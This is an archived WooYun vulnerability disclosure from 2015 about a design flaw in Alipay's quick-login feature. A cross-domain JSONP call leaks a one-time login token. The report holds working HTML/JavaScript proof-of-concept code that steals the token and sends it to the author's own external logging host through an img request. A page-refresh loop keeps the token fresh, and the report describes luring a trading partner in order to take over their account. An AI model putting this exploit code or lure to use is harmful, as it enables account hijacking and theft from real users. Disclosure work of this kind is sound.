当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0112062

漏洞标题:支付宝看我如何利用支付宝登录机制缺陷劫持登录用户帐号

相关厂商:阿里巴巴

漏洞作者: q601333824

提交时间:2015-05-05 06:53

修复时间:2015-06-23 21:46

公开时间:2015-06-23 21:46

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-05: 细节已通知厂商并且等待厂商处理中
2015-05-09: 厂商已经确认,细节仅向厂商公开
2015-05-19: 细节向核心白帽子及相关领域专家公开
2015-05-29: 细节向普通白帽子公开
2015-06-08: 细节向实习白帽子公开
2015-06-23: 细节向公众公开

简要描述:

像我这种屌丝支付宝帐号有跟没有一样,反正里面余额都是0

详细说明:

1.前途多难
2.支付宝有个检测已经登录的用户并且快速登录的功能,然后我抓取整个过程

2.png


1.png


4444.png



3.登录机制大概是这样,检测已经正在登录使用的帐号,然后发送请求token,然后使用返回的token登录
4.所以,我复制了第一次请求token的连接

https://passport.alipay.com/mini_login_check.js?callback=jQuery17205112576861865819_1430734520188&site=1&_input_charset=utf-8&ctoken=dzUY3ljC9CvBo4wGz1jzaemAHxS7PR&_=1430734529099


5.简化连接得到

https://passport.alipay.com/mini_login_check.js?callback=xxxxxx&site=1


6.ctoken这个参数根本没啥用,有跟没有一样,也能请求到token

7777.png



7.所以简化后的请求过程就是
① https://passport.alipay.com/mini_login_check.js?callback=xxxxxx&site=1(请求token)
                ↓
②https://auth.alipay.com/login/havana_trust_login.htm?token=XXXXXXX&autoLogin=false(利用返回的token登录帐号)
-----------------------------------------------------------------------------------------------------

8. 然后根据这个大神的漏洞,跨域抓取用户token
WooYun: JS跨域抓取已登录的百度用户用户名和csrf token

<html>
<body>
<script>
function test(obj){
document.write
("&#33719;&#21462;&#21040;&#30340;&#29992;&#25143;&#30331;&#24405;&#30340;&#116;&#111;&#107;&#101;&#110;&#58;"+obj.data.st);
}
</script>
<iframe src='javascript:"<script src=\"https://passport.alipay.com/mini_login_check.js?site=1&callback=parent.test
\"></script>"'></iframe>
</body>
</html>


9.如图,抓取到的token

99999.png


-------------------------------------------------------------------------------------------
10.下面为了证明就算换浏览器,token也是能用的(token只能使用一次,使用一次之后就会失效,而且有时间限制)
①.先抓取用户的登录token,得到:1NCCpjOQlx3FnF-gEkKKjJQ

token.png


②.然后把这个连接token ,修改成刚才获取到token
https://auth.alipay.com/login/havana_trust_login.htm?token=1NCCpjOQlx3FnF-gEkKKjJQ&autoLogin=false
③.现在360极速浏览器,是登录着支付宝(不用打码了,反正余额0),火狐浏览器没有登录

8989898989898.png


④.看,当火狐浏览器访问那个连接的时候,我就能登录对方帐号了

fgfgfgfgf.png


---------------------------------------------------------------------------------------------
11.这个获取到的token,是有时间限制,时间一到就失效了,没计算,大概只有一分钟左右,那别人说,那肯定没有用了,那不一定没用,可以设置页面刷新,当用户访问的时候,一直刷新页面,然后每次刷新把结果发送到我新浪平台的日志
12.于是最终的利用代码:
(1).这一段是,获取支付宝用户的token,然后创建一个img标签,把token当作参数访问自己的网站,在日志留下记录

<html>
<body>
<script>
function test(obj){

alert("\u7528\u6237\u5f97\u5230\u7684\u0074\u006f\u006b\u0065\u006e:"+obj.data.st);
var src="http://fripside.sinaapp.com/?usertoken="+obj.data.st
var e=document.createElement('img');e.setAttribute('src',src);document.body.appendChild(e);
}
</script>
<iframe src='javascript:"<script src=\"https://passport.alipay.com/mini_login_check.js?site=1&callback=parent.test
\"></script>"'></iframe>
</body>
</html>


(2).这一段代码是,iframe里面放第一段代码的src,然后一直刷新当前页面,保持最新的token,同时把最新的token,发送到网站的日志(这个是本地测试)

<script>
function test(){
window.location.href="file:///C:/Users/q601333824/Desktop/2222.html";//这里是刷新的当前页面
function kkk(){
setTimeout("test()", 1000 );
}
kkk();
</script>
<iframe src="file:///C:/Users/q601333824/Desktop/111.html"></iframe>//这里是上面那段代码页面
}


13.效果图,如图
①.当用户访问,一直刷新页面获取最新的token,发送到网站日志

787878787878.png


②.

yjjhjh.png


--------------------------------------------------------------------------------------------------
14.利用方式就是,在和别人交易的过程中,给别人连接,别人访问之后一直刷新页面,获取支付宝的登录token,然后只要在这一分钟之内访问连接,不会失效,就能登录别人帐号,因为交易过程把握一分钟间隔很容易实现

漏洞证明:

1.获取用户的token ,并且发送到网站的日志记录下来

<html>
<body>
<script>
function test(obj){

alert("\u7528\u6237\u5f97\u5230\u7684\u0074\u006f\u006b\u0065\u006e:"+obj.data.st);
var src="http://fripside.sinaapp.com/?usertoken="+obj.data.st
var e=document.createElement('img');e.setAttribute('src',src);document.body.appendChild(e);
}
</script>
<iframe src='javascript:"<script src=\"https://passport.alipay.com/mini_login_check.js?site=1&callback=parent.test
\"></script>"'></iframe>
</body>
</html>


2.当别人访问的时候,可以设置一段刷新页面的代码,一直保持最新的token参数

<script>
function test(){
window.location.href="file:///C:/Users/q601333824/Desktop/2222.html";//这里是刷新的当前页面
function kkk(){
setTimeout("test()", 1000 );
}
kkk();
</script>
<iframe src="file:///C:/Users/q601333824/Desktop/111.html"></iframe>//这里是上面那段代码页面
}


3.①.当用户访问,一直刷新页面获取最新的token,发送到网站日志

787878787878.png


②.

yjjhjh.png


4.利用方式就是,在和别人交易的过程中,给别人连接,别人访问之后一直刷新页面,获取支付宝的登录token,然后只要在这一分钟之内访问连接,不会失效,就能登录别人帐号,因为交易过程把握一分钟间隔很容易实现

修复方案:

1.token的失效时间再短一点,如果是在交易的时候访问劫持页面,这点时间足够拿到别人帐号了
2.和这个类似 WooYun: 百度贴吧某功能CSRF漏洞callback参数问题

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-09 21:45

厂商回复:

漏洞已经在处理。感谢您对阿里巴巴安全的关注!

最新状态:

暂无